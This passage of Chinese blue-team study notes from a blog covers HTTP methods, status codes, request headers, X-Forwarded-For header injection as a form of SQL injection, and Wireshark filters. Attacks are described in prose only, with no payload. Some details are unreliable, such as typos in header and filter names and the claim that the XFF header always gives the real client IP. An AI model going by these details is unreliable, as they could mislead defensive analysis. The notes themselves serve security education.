PUT请求:用来更新一个已有的实体。通过把已经存在的资源的ID和新的实体用PUT请求上传到服务器来更新资源。例如用PUT请求访问/employee/101/王五,可以更新员工101的信息。
DELETE请求:从服务器上删除资源。需要把要删除的资源的ID上传给服务器。例如用DELETE请求访问/employee/101/王五,可以删除员工101的信息。
OPTIONS请求:OPTIONS允许客户端请求一个服务所支持的请求方法。它所对应的响应头是Allow,它非常简洁地列出了支持的方法。下面为服务端成功处理了OPTIONS请求后,响应的内容:Allow: HEAD,GET,PUT,DELETE,OPTIONS。
TRACE请求:提供一种方法来测试当一个请求发生的时候,服务器通过网络收到的内容。所以它会返回你发送的内容。
HEAD请求:HEAD请求和GET请求资源类似,但仅仅返回相应的头部,没有具体的响应体。它也不会对服务器造成其他影响。
CONNECT请求:主要用来建立一个对资源的网络连接。一旦建立连接后,会响应一个200状态码和一条"Connectioin Established"的消息。
b.post和get的区别
都包含请求头请求行,post多了请求body。
get多用来查询,请求参数放在url中,不会对服务器上的内容产生作用。post用来提交,如把账号密码放入body中。
GET是直接添加到URL后面的,直接就可以在URL中看到内容,而POST是放在报文内部的,用户无法直接看到。
GET提交的数据长度是有限制的,因为URL长度有限制,具体的长度限制视浏览器而定。而POST没有。
c.响应状态码
1XX - 信息型,服务器收到请求,需要请求者继续操作。
2XX - 成功型,请求成功收到,理解并处理。
3XX - 重定向,需要进一步的操作以完成请求。
4XX - 客户端错误,请求包含语法错误或无法完成请求。
5XX - 服务器错误,服务器在处理请求的过程中发生了错误。
d.常见响应状态码
200 OK - 客户端请求成功
300 重定向
301 永久重定向;资源(网页等)被永久转移到其它URL
302 临时重定向;临时跳转
400 Bad Request - 客户端请求有语法错误,不能被服务器所理解
401 Unauthorized - 请求未经授权,这个状态代码必须和WWW-Authenticate报头域一起使用
403 无权访问
404 请求资源不存在,可能是输入了错误的URL
500 服务器内部发生了不可预期的错误
503 Server Unavailable - 服务器当前不能处理客户端的请求,一段时间后可能恢复正常。
e.eferer和x-forward-for(xff)等请求头
rtferer是请求的来源
x-forward-for是服务器客户端的真实IP(最左边为真实的)
XFF注入:属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。
Host:指定请求的服务器的域名和端口号
User-Agent:包含用户请求的用户信息。浏览器类型
f.x-forward-for(xff)详解
x-forward-for是服务器客户端的真实IP(最左边为真实的)
如果告警里面的IP与xff的IP不同,则真实IP以xff里面的为准
在BP抓包的过程中,可以对其进行更改伪造
XFF注入:
● 属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容
32.wireshark相关
协议过滤:
● 直接输入TCP,HTTP,ICMP等
ip过滤:
● ip.addr=xxx,显示源或目的IP为xxx的数据流
● ip.src=xxx,源IP
● ip.dst=xxx,目的IP
端口过滤:
● tcp.port == 80,只显示80端口TCP数据流
● udp.prot == 67,只显示67端口UDP数据流
● tcp.srcport == 80, 只显示源地址的80端口数据流
● tcp.dstport == 80,只显示目的地址80端口数据流
过滤HTTP协议:
● http.request.method=="GET",显示get请求
● http.request.url contains admin ,显示url中包含admin的 请求
● http.request.code==404,显示状态码为404
连接符:
● and
● or
标签:知识点,请求,文件,攻击,蓝队,HW,漏洞,服务器,日志
From: https://blog.csdn.net/qq_50377269/article/details/136969328